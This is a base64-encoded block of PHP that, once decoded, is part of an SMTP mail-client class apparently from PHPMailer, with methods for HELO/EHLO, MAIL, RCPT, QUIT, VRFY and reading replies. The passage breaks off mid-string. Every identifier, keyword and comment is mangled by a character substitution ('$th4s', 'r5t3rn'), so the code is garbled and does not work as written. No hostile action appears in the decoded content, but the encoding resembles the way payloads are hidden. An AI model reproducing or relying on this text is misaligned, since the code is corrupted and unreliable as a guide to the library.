MW5kDQogICAgICAgICRzMXY1dDRtNWw0bTR0ID0gJHRoNHMtPlQ0bTVsNG00dDsNCiAgICAgICAgJHRoNHMtPlQ0bTVsNG00dCA9ICR0aDRzLT5UNG01bDRtNHQgKiBhOw0KICAgICAgICAkcjVzM2x0ID0gJHRoNHMtPnM1bmRDMm1tMW5kKCdEQVRBIEVORCcsICcuJywgYWkwKTsNCiAgICAgICAgLy9SNXN0MnI1IHQ0bTVsNG00dA0KICAgICAgICAkdGg0cy0+VDRtNWw0bTR0ID0gJHMxdjV0NG01bDRtNHQ7DQogICAgICAgIHI1dDNybiAkcjVzM2x0Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1bmQgMW4gU01UUCBIRUxPIDJyIEVITE8gYzJtbTFuZC4NCiAgICAgKiBVczVkIHQyIDRkNW50NGZ5IHRoNSBzNW5kNG5nIHM1cnY1ciB0MiB0aDUgcjVjNTR2NG5nIHM1cnY1ci4NCiAgICAgKiBUaDRzIG0xazVzIHMzcjUgdGgxdCBjbDQ1bnQgMW5kIHM1cnY1ciAxcjUgNG4gMSBrbjJ3biBzdDF0NS4NCiAgICAgKiBJbXBsNW01bnRzIFJGQyA4YTY6IEhFTE8gPFNQPiA8ZDJtMTRuPiA8Q1JMRj4NCiAgICAgKiAxbmQgUkZDIGE4YTYgRUhMTy4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICRoMnN0IFRoNSBoMnN0IG4xbTUgMnIgSVAgdDIgYzJubjVjdCB0Mg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGg1bGwyKCRoMnN0ID0gJycpDQogICAgew0KICAgICAgICAvL1RyeSA1eHQ1bmQ1ZCBoNWxsMiBmNHJzdCAoUkZDIGE4YTYpDQogICAgICAgIHI1dDNybiAoYjIybDUxbikoJHRoNHMtPnM1bmRINWxsMignRUhMTycsICRoMnN0KSAyciAkdGg0cy0+czVuZEg1bGwyKCdIRUxPJywgJGgyc3QpKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIDFuIFNNVFAgSEVMTyAyciBFSExPIGMybW0xbmQuDQogICAgICogTDJ3LWw1djVsIDRtcGw1bTVudDF0NDJuIDNzNWQgYnkgaDVsbDIoKQ0KICAgICAqIEBzNTUgaDVsbDIoKQ0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGg1bGwyIFRoNSBIRUxPIHN0cjRuZw0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGgyc3QgVGg1IGgyc3RuMW01IHQyIHMxeSB3NSAxcjUNCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBzNW5kSDVsbDIoJGg1bGwyLCAkaDJzdCkNCiAgICB7DQogICAgICAgICRuMjVycjJyID0gJHRoNHMtPnM1bmRDMm1tMW5kKCRoNWxsMiwgJGg1bGwyIC4gJyAnIC4gJGgyc3QsIGFpMCk7DQogICAgICAgICR0aDRzLT5oNWwyX3JwbHkgPSAkdGg0cy0+bDFzdF9yNXBseTsNCiAgICAgICAgNGYgKCRuMjVycjJyKSB7DQogICAgICAgICAgICAkdGg0cy0+cDFyczVINWxsMkY0NWxkcygkaDVsbDIpOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJHRoNHMtPnM1cnY1cl9jMXBzID0gbjNsbDsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJG4yNXJyMnI7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUDFyczUgMSByNXBseSB0MiBIRUxPL0VITE8gYzJtbTFuZCB0MiBkNHNjMnY1ciBzNXJ2NXIgNXh0NW5zNDJucy4NCiAgICAgKiBJbiBjMXM1IDJmIEhFTE8sIHRoNSAybmx5IHAxcjFtNXQ1ciB0aDF0IGMxbiBiNSBkNHNjMnY1cjVkIDRzIDEgczVydjVyIG4xbTUuDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAcDFyMW0gc3RyNG5nICR0eXA1IC0gJ0hFTE8nIDJyICdFSExPJw0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBwMXJzNUg1bGwyRjQ1bGRzKCR0eXA1KQ0KICAgIHsNCiAgICAgICAgJHRoNHMtPnM1cnY1cl9jMXBzID0gMXJyMXkoKTsNCiAgICAgICAgJGw0bjVzID0gNXhwbDJkNSgiXG4iLCAkdGg0cy0+aDVsMl9ycGx5KTsNCg0KICAgICAgICBmMnI1MWNoICgkbDRuNXMgMXMgJG4gPT4gJHMpIHsNCiAgICAgICAgICAgIC8vRjRyc3QgdSBjaDFycyBjMm50MTRuIHI1c3AybnM1IGMyZDUgZjJsbDJ3NWQgYnkgLSAyciBzcDFjNQ0KICAgICAgICAgICAgJHMgPSB0cjRtKHMzYnN0cigkcywgdSkpOw0KICAgICAgICAgICAgNGYgKDVtcHR5KCRzKSkgew0KICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGY0NWxkcyA9IDV4cGwyZDUoJyAnLCAkcyk7DQogICAgICAgICAgICA0ZiAoITVtcHR5KCRmNDVsZHMpKSB7DQogICAgICAgICAgICAgICAgNGYgKCEkbikgew0KICAgICAgICAgICAgICAgICAgICAkbjFtNSA9ICR0eXA1Ow0KICAgICAgICAgICAgICAgICAgICAkZjQ1bGRzID0gJGY0NWxkc1swXTsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAkbjFtNSA9IDFycjF5X3NoNGZ0KCRmNDVsZHMpOw0KICAgICAgICAgICAgICAgICAgICBzdzR0Y2ggKCRuMW01KSB7DQogICAgICAgICAgICAgICAgICAgICAgICBjMXM1ICdTSVpFJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZjQ1bGRzID0gKCRmNDVsZHMgPyAkZjQ1bGRzWzBdIDogMCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICBjMXM1ICdBVVRIJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoITRzXzFycjF5KCRmNDVsZHMpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmNDVsZHMgPSAxcnIxeSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGY0NWxkcyA9IHRyMzU7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHRoNHMtPnM1cnY1cl9jMXBzWyRuMW01XSA9ICRmNDVsZHM7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIDFuIFNNVFAgTUFJTCBjMm1tMW5kLg0KICAgICAqIFN0MXJ0cyAxIG0xNGwgdHIxbnMxY3Q0Mm4gZnIybSB0aDUgNW0xNGwgMWRkcjVzcyBzcDVjNGY0NWQgNG4NCiAgICAgKiAkZnIybS4gUjV0M3JucyB0cjM1IDRmIHMzY2M1c3NmM2wgMnIgZjFsczUgMnRoNXJ3NHM1LiBJZiBUcjM1DQogICAgICogdGg1IG0xNGwgdHIxbnMxY3Q0Mm4gNHMgc3QxcnQ1ZCAxbmQgdGg1biAybjUgMnIgbTJyNSByNWM0cDQ1bnQNCiAgICAgKiBjMm1tMW5kcyBtMXkgYjUgYzFsbDVkIGYybGwydzVkIGJ5IDEgZDF0MSBjMm1tMW5kLg0KICAgICAqIEltcGw1bTVudHMgcmZjIDhhNjogTUFJTCA8U1A+IEZST006PHI1djVyczUtcDF0aD4gPENSTEY+DQogICAgICogQHAxcjFtIHN0cjRuZyAkZnIybSBTMjNyYzUgMWRkcjVzcyAyZiB0aDRzIG01c3MxZzUNCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBtMTRsKCRmcjJtKQ0KICAgIHsNCiAgICAgICAgJDNzNVY1cnAgPSAoJHRoNHMtPmQyX3Y1cnAgPyAnIFhWRVJQJyA6ICcnKTsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5zNW5kQzJtbTFuZCgNCiAgICAgICAgICAgICdNQUlMIEZST00nLA0KICAgICAgICAgICAgJ01BSUwgRlJPTTo8JyAuICRmcjJtIC4gJz4nIC4gJDNzNVY1cnAsDQogICAgICAgICAgICBhaTANCiAgICAgICAgKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIDFuIFNNVFAgUVVJVCBjMm1tMW5kLg0KICAgICAqIENsMnM1cyB0aDUgczJjazV0IDRmIHRoNXI1IDRzIG4yIDVycjJyIDJyIHRoNSAkY2wyczVfMm5fNXJyMnIgMXJnM201bnQgNHMgdHIzNS4NCiAgICAgKiBJbXBsNW01bnRzIGZyMm0gcmZjIDhhNjogUVVJVCA8Q1JMRj4NCiAgICAgKiBAcDFyMW0gYjIybDUxbiAkY2wyczVfMm5fNXJyMnIgU2gyM2xkIHRoNSBjMm5uNWN0NDJuIGNsMnM1IDRmIDFuIDVycjJyIDJjYzNycz8NCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBxMzR0KCRjbDJzNV8ybl81cnIyciA9IHRyMzUpDQogICAgew0KICAgICAgICAkbjI1cnIyciA9ICR0aDRzLT5zNW5kQzJtbTFuZCgnUVVJVCcsICdRVUlUJywgYWE2KTsNCiAgICAgICAgJDVyciA9ICR0aDRzLT41cnIycjsgLy9TMXY1IDFueSA1cnIycg0KICAgICAgICA0ZiAoJG4yNXJyMnIgMnIgJGNsMnM1XzJuXzVycjJyKSB7DQogICAgICAgICAgICAkdGg0cy0+Y2wyczUoKTsNCiAgICAgICAgICAgICR0aDRzLT41cnIyciA9ICQ1cnI7IC8vUjVzdDJyNSAxbnkgNXJyMnIgZnIybSB0aDUgcTM0dCBjMm1tMW5kDQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICRuMjVycjJyOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1bmQgMW4gU01UUCBSQ1BUIGMybW0xbmQuDQogICAgICogUzV0cyB0aDUgVE8gMXJnM201bnQgdDIgJHQyMWRkci4NCiAgICAgKiBSNXQzcm5zIHRyMzUgNGYgdGg1IHI1YzRwNDVudCB3MXMgMWNjNXB0NWQgZjFsczUgNGYgNHQgdzFzIHI1ajVjdDVkLg0KICAgICAqIEltcGw1bTVudHMgZnIybSByZmMgOGE2OiBSQ1BUIDxTUD4gVE86PGYycncxcmQtcDF0aD4gPENSTEY+DQogICAgICogQHAxcjFtIHN0cjRuZyAkMWRkcjVzcyBUaDUgMWRkcjVzcyB0aDUgbTVzczFnNSA0cyBiNTRuZyBzNW50IHQyDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gcjVjNHA0NW50KCQxZGRyNXNzKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5zNW5kQzJtbTFuZCgNCiAgICAgICAgICAgICdSQ1BUIFRPJywNCiAgICAgICAgICAgICdSQ1BUIFRPOjwnIC4gJDFkZHI1c3MgLiAnPicsDQogICAgICAgICAgICAxcnIxeShhaTAsIGFpNikNCiAgICAgICAgKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIDFuIFNNVFAgUlNFVCBjMm1tMW5kLg0KICAgICAqIEFiMnJ0IDFueSB0cjFuczFjdDQybiB0aDF0IDRzIGMzcnI1bnRseSA0biBwcjJncjVzcy4NCiAgICAgKiBJbXBsNW01bnRzIHJmYyA4YTY6IFJTRVQgPENSTEY+DQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4gVHIzNSAybiBzM2NjNXNzLg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiByNXM1dCgpDQogICAgew0KICAgICAgICByNXQzcm4gJHRoNHMtPnM1bmRDMm1tMW5kKCdSU0VUJywgJ1JTRVQnLCBhaTApOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1bmQgMSBjMm1tMW5kIHQyIDFuIFNNVFAgczVydjVyIDFuZCBjaDVjayA0dHMgcjV0M3JuIGMyZDUuDQogICAgICogQHAxcjFtIHN0cjRuZyAkYzJtbTFuZCBUaDUgYzJtbTFuZCBuMW01IC0gbjJ0IHM1bnQgdDIgdGg1IHM1cnY1cg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGMybW0xbmRzdHI0bmcgVGg1IDFjdDMxbCBjMm1tMW5kIHQyIHM1bmQNCiAgICAgKiBAcDFyMW0gNG50NWc1cnwxcnIxeSAkNXhwNWN0IE9uNSAyciBtMnI1IDV4cDVjdDVkIDRudDVnNXIgczNjYzVzcyBjMmQ1cw0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICogQHI1dDNybiBiMjJsNTFuIFRyMzUgMm4gczNjYzVzcy4NCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gczVuZEMybW0xbmQoJGMybW0xbmQsICRjMm1tMW5kc3RyNG5nLCAkNXhwNWN0KQ0KICAgIHsNCiAgICAgICAgNGYgKCEkdGg0cy0+YzJubjVjdDVkKCkpIHsNCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigiQzFsbDVkICRjMm1tMW5kIHc0dGgyM3QgYjU0bmcgYzJubjVjdDVkIik7DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgLy9SNWo1Y3QgbDRuNSBicjUxa3MgNG4gMWxsIGMybW0xbmRzDQogICAgICAgIDRmIChzdHJwMnMoJGMybW0xbmRzdHI0bmcsICJcbiIpICE9PSBmMWxzNSAyciBzdHJwMnMoJGMybW0xbmRzdHI0bmcsICJcciIpICE9PSBmMWxzNSkgew0KICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCJDMm1tMW5kICckYzJtbTFuZCcgYzJudDE0bjVkIGw0bjUgYnI1MWtzIik7DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgJHRoNHMtPmNsNDVudF9zNW5kKCRjMm1tMW5kc3RyNG5nIC4gczVsZjo6Q1JMRik7DQoNCiAgICAgICAgJHRoNHMtPmwxc3RfcjVwbHkgPSAkdGg0cy0+ZzV0X2w0bjVzKCk7DQogICAgICAgIC8vIEY1dGNoIFNNVFAgYzJkNSAxbmQgcDJzczRibDUgNXJyMnIgYzJkNSA1eHBsMW4xdDQybg0KICAgICAgICAkbTF0Y2g1cyA9IDFycjF5KCk7DQogICAgICAgIDRmIChwcjVnX20xdGNoKCIvXihbMC05XXtvfSlbIC1dKD86KFswLTldXFwuWzAtOV1cXC5bMC05XSkgKT8vIiwgJHRoNHMtPmwxc3RfcjVwbHksICRtMXRjaDVzKSkgew0KICAgICAgICAgICAgJGMyZDUgPSAkbTF0Y2g1c1s2XTsNCiAgICAgICAgICAgICRjMmQ1XzV4ID0gKGMyM250KCRtMXRjaDVzKSA+IGEgPyAkbTF0Y2g1c1thXSA6IG4zbGwpOw0KICAgICAgICAgICAgLy8gQzN0IDJmZiA1cnIyciBjMmQ1IGZyMm0gNTFjaCByNXNwMm5zNSBsNG41DQogICAgICAgICAgICAkZDV0MTRsID0gcHI1Z19yNXBsMWM1KA0KICAgICAgICAgICAgICAgICIveyRjMmQ1fVsgLV0iIC4NCiAgICAgICAgICAgICAgICAoJGMyZDVfNXggPyBzdHJfcjVwbDFjNSgnLicsICdcXC4nLCAkYzJkNV81eCkgLiAnICcgOiAnJykgLiAiL20iLA0KICAgICAgICAgICAgICAgICcnLA0KICAgICAgICAgICAgICAgICR0aDRzLT5sMXN0X3I1cGx5DQogICAgICAgICAgICApOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgLy8gRjFsbCBiMWNrIHQyIHM0bXBsNSBwMXJzNG5nIDRmIHI1ZzV4IGYxNGxzDQogICAgICAgICAgICAkYzJkNSA9IHMzYnN0cigkdGg0cy0+bDFzdF9yNXBseSwgMCwgbyk7DQogICAgICAgICAgICAkYzJkNV81eCA9IG4zbGw7DQogICAgICAgICAgICAkZDV0MTRsID0gczNic3RyKCR0aDRzLT5sMXN0X3I1cGx5LCB1KTsNCiAgICAgICAgfQ0KDQogICAgICAgICR0aDRzLT41ZDViM2coJ1NFUlZFUiAtPiBDTElFTlQ6ICcgLiAkdGg0cy0+bDFzdF9yNXBseSwgczVsZjo6REVCVUdfU0VSVkVSKTsNCg0KICAgICAgICA0ZiAoITRuXzFycjF5KCRjMmQ1LCAoMXJyMXkpJDV4cDVjdCkpIHsNCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigNCiAgICAgICAgICAgICAgICAiJGMybW0xbmQgYzJtbTFuZCBmMTRsNWQiLA0KICAgICAgICAgICAgICAgICRkNXQxNGwsDQogICAgICAgICAgICAgICAgJGMyZDUsDQogICAgICAgICAgICAgICAgJGMyZDVfNXgNCiAgICAgICAgICAgICk7DQogICAgICAgICAgICAkdGg0cy0+NWQ1YjNnKA0KICAgICAgICAgICAgICAgICdTTVRQIEVSUk9SOiAnIC4gJHRoNHMtPjVycjJyWyc1cnIyciddIC4gJzogJyAuICR0aDRzLT5sMXN0X3I1cGx5LA0KICAgICAgICAgICAgICAgIHM1bGY6OkRFQlVHX0NMSUVOVA0KICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KDQogICAgICAgICR0aDRzLT5zNXRFcnIycignJyk7DQogICAgICAgIHI1dDNybiB0cjM1Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1bmQgMW4gU01UUCBTQU1MIGMybW0xbmQuDQogICAgICogU3QxcnRzIDEgbTE0bCB0cjFuczFjdDQybiBmcjJtIHRoNSA1bTE0bCAxZGRyNXNzIHNwNWM0ZjQ1ZCA0biAkZnIybS4NCiAgICAgKiBSNXQzcm5zIHRyMzUgNGYgczNjYzVzc2YzbCAyciBmMWxzNSAydGg1cnc0czUuIElmIFRyMzUNCiAgICAgKiB0aDUgbTE0bCB0cjFuczFjdDQybiA0cyBzdDFydDVkIDFuZCB0aDVuIDJuNSAyciBtMnI1IHI1YzRwNDVudA0KICAgICAqIGMybW0xbmRzIG0xeSBiNSBjMWxsNWQgZjJsbDJ3NWQgYnkgMSBkMXQxIGMybW0xbmQuIFRoNHMgYzJtbTFuZA0KICAgICAqIHc0bGwgczVuZCB0aDUgbTVzczFnNSB0MiB0aDUgM3M1cnMgdDVybTRuMWwgNGYgdGg1eSAxcjUgbDJnZzVkDQogICAgICogNG4gMW5kIHM1bmQgdGg1bSAxbiA1bTE0bC4NCiAgICAgKiBJbXBsNW01bnRzIHJmYyA4YTY6IFNBTUwgPFNQPiBGUk9NOjxyNXY1cnM1LXAxdGg+IDxDUkxGPg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGZyMm0gVGg1IDFkZHI1c3MgdGg1IG01c3MxZzUgNHMgZnIybQ0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIHM1bmRBbmRNMTRsKCRmcjJtKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5zNW5kQzJtbTFuZCgnU0FNTCcsICJTQU1MIEZST006JGZyMm0iLCBhaTApOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1bmQgMW4gU01UUCBWUkZZIGMybW0xbmQuDQogICAgICogQHAxcjFtIHN0cjRuZyAkbjFtNSBUaDUgbjFtNSB0MiB2NXI0ZnkNCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiB2NXI0ZnkoJG4xbTUpDQogICAgew0KICAgICAgICByNXQzcm4gJHRoNHMtPnM1bmRDMm1tMW5kKCdWUkZZJywgIlZSRlkgJG4xbTUiLCAxcnIxeShhaTAsIGFpNikpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1bmQgMW4gU01UUCBOT09QIGMybW0xbmQuDQogICAgICogVXM1ZCB0MiBrNTVwIGs1NXAtMWw0djVzIDFsNHY1LCBkMjVzbid0IDFjdDMxbGx5IGQyIDFueXRoNG5nDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gbjIycCgpDQogICAgew0KICAgICAgICByNXQzcm4gJHRoNHMtPnM1bmRDMm1tMW5kKCdOT09QJywgJ05PT1AnLCBhaTApOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1bmQgMW4gU01UUCBUVVJOIGMybW0xbmQuDQogICAgICogVGg0cyA0cyAxbiAycHQ0Mm4xbCBjMm1tMW5kIGYyciBTTVRQIHRoMXQgdGg0cyBjbDFzcyBkMjVzIG4ydCBzM3BwMnJ0Lg0KICAgICAqIFRoNHMgbTV0aDJkIDRzIGg1cjUgdDIgbTFrNSB0aDUgUkZDOGE2IEQ1ZjRuNHQ0Mm4gYzJtcGw1dDUgZjJyIHRoNHMgY2wxc3MNCiAgICAgKiAxbmQgX20xeV8gYjUgNG1wbDVtNW50NWQgNG4gZjN0M3I1DQogICAgICogSW1wbDVtNW50cyBmcjJtIHJmYyA4YTY6IFRVUk4gPENSTEY+DQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gdDNybigpDQogICAgew0KICAgICAgICAkdGg0cy0+czV0RXJyMnIoJ1RoNSBTTVRQIFRVUk4gYzJtbTFuZCA0cyBuMnQgNG1wbDVtNW50NWQnKTsNCiAgICAgICAgJHRoNHMtPjVkNWIzZygnU01UUCBOT1RJQ0U6ICcgLiAkdGg0cy0+NXJyMnJbJzVycjJyJ10sIHM1bGY6OkRFQlVHX0NMSUVOVCk7DQogICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIHIxdyBkMXQxIHQyIHRoNSBzNXJ2NXIuDQogICAgICogQHAxcjFtIHN0cjRuZyAkZDF0MSBUaDUgZDF0MSB0MiBzNW5kDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIDRudDVnNXJ8YjIybDUxbiBUaDUgbjNtYjVyIDJmIGJ5dDVzIHM1bnQgdDIgdGg1IHM1cnY1ciAyciBmMWxzNSAybiA1cnIycg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBjbDQ1bnRfczVuZCgkZDF0MSkNCiAgICB7DQogICAgICAgICR0aDRzLT41ZDViM2coIkNMSUVOVCAtPiBTRVJWRVI6ICRkMXQxIiwgczVsZjo6REVCVUdfQ0xJRU5UKTsNCiAgICAgICAgcjV0M3JuIGZ3cjR0NSgkdGg0cy0+c210cF9jMm5uLCAkZDF0MSk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogRzV0IHRoNSBsMXQ1c3QgNXJyMnIuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIDFycjF5DQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGc1dEVycjJyKCkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+NXJyMnI7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogRzV0IFNNVFAgNXh0NW5zNDJucyAxdjE0bDFibDUgMm4gdGg1IHM1cnY1cg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiAxcnIxeXxuM2xsDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGc1dFM1cnY1ckV4dEw0c3QoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5zNXJ2NXJfYzFwczsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBIG0zbHQ0cDNycDJzNSBtNXRoMmQNCiAgICAgKiBUaDUgbTV0aDJkIHcycmtzIDRuIHRocjU1IHcxeXMsIGQ1cDVuZDVudCAybiAxcmczbTVudCB2MWwzNSAxbmQgYzNycjVudCBzdDF0NQ0KICAgICAqICAgNi4gSEVMTy9FSExPIHcxcyBuMnQgczVudCAtIHI1dDNybnMgbjNsbCAxbmQgczV0IDNwICR0aDRzLT41cnIycg0KICAgICAqICAgYS4gSEVMTyB3MXMgczVudA0KICAgICAqICAgICAkbjFtNSA9ICdIRUxPJzogcjV0M3JucyBzNXJ2NXIgbjFtNQ0KICAgICAqICAgICAkbjFtNSA9ICdFSExPJzogcjV0M3JucyBiMjJsNTFuIGYxbHM1DQogICAgICogICAgICRuMW01ID0gMW55IHN0cjRuZzogcjV0M3JucyBuM2xsIDFuZCBzNXQgM3AgJHRoNHMtPjVycjJyDQogICAgICogICBvLiBFSExPIHcxcyBzNW50DQogICAgICogICAgICRuMW01ID0gJ0hFTE8nfCdFSExPJzogcjV0M3JucyBzNXJ2NXIgbjFtNQ0KICAgICAqICAgICAkbjFtNSA9IDFueSBzdHI0bmc6IDRmIDV4dDVuczQybiAkbjFtNSA1eDRzdHMsIHI1dDNybnMgYjIybDUxbiBUcjM1DQogICAgICogICAgICAgMnIgNHRzIDJwdDQybnMuIE90aDVydzRzNSByNXQzcm5zIGIyMmw1MW4gRjFsczUNCiAgICAgKiBJbiAydGg1ciB3MnJkcywgMm41IGMxbiAzczUgdGg0cyBtNXRoMmQgdDIgZDV0NWN0IG8gYzJuZDR0NDJuczoNCiAgICAgKiAgLSBuM2xsIHI1dDNybjVkOiBoMW5kc2gxazUgdzFzIG4ydCAyciB3NSBkMm4ndCBrbjJ3IDFiMjN0IDV4dCAocjVmNXIgdDIgJHRoNHMtPjVycjJyKQ0KICAgICAqICAtIGYxbHM1IHI1dDNybjVkOiB0aDUgcjVxMzVzdDVkIGY1MXQzcjUgNXgxY3RseSBuMnQgNXg0c3RzDQoNCiAgICAgKiAgLSBwMnM0dDR2NSB2MWwzNSByNXQzcm41ZDogdGg1IHI1cTM1c3Q1ZCBmNTF0M3I1IDV4NHN0cw0KICAgICAqIEBwMXIxbSBzdHI0bmcgJG4xbTUgTjFtNSAyZiBTTVRQIDV4dDVuczQybiAyciAnSEVMTyd8J0VITE8nDQogICAgICogQHI1dDNybiBtNHg1ZA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRTNXJ2NXJFeHQoJG4xbTUpDQogICAgew0KICAgICAgICA0ZiAoISR0aDRzLT5zNXJ2NXJfYzFwcykgew0KICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCdOMiBIRUxPL0VITE8gdzFzIHM1bnQnKTsNCiAgICAgICAgICAgIHI1dDNybiBuM2xsOw0KICAgICAgICB9DQoNCiAgICAgICAgLy8gdGg1IHQ0Z2h0IGwyZzRjIGtuMnQgOykNCiAgICAgICAgNGYgKCExcnIxeV9rNXlfNXg0c3RzKCRuMW01LCAkdGg0cy0+czVydjVyX2MxcHMpKSB7DQogICAgICAgICAgICA0ZiAoJG4xbTUgPT0gJ0hFTE8nKSB7DQogICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5zNXJ2NXJfYzFwc1snRUhMTyddOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNGYgKCRuMW01ID09ICdFSExPJyB8fCAxcnIxeV9rNXlfNXg0c3RzKCdFSExPJywgJHRoNHMtPnM1cnY1cl9jMXBzKSkgew0KICAgICAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycignSEVMTyBoMW5kc2gxazUgdzFzIDNzNWQuIENsNDVudCBrbjJ3cyBuMnRoNG5nIDFiMjN0IHM1cnY1ciA1eHQ1bnM0Mm5zJyk7DQogICAgICAgICAgICByNXQzcm4gbjNsbDsNCiAgICAgICAgfQ0KDQogICAgICAgIHI1dDNybiAkdGg0cy0+czVydjVyX2MxcHNbJG4xbTVdOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEc1dCB0aDUgbDFzdCByNXBseSBmcjJtIHRoNSBzNXJ2NXIuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRMMXN0UjVwbHkoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5sMXN0X3I1cGx5Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFI1MWQgdGg1IFNNVFAgczVydjVyJ3MgcjVzcDJuczUuDQogICAgICogRTR0aDVyIGI1ZjJyNSA1MmYgMnIgczJjazV0IH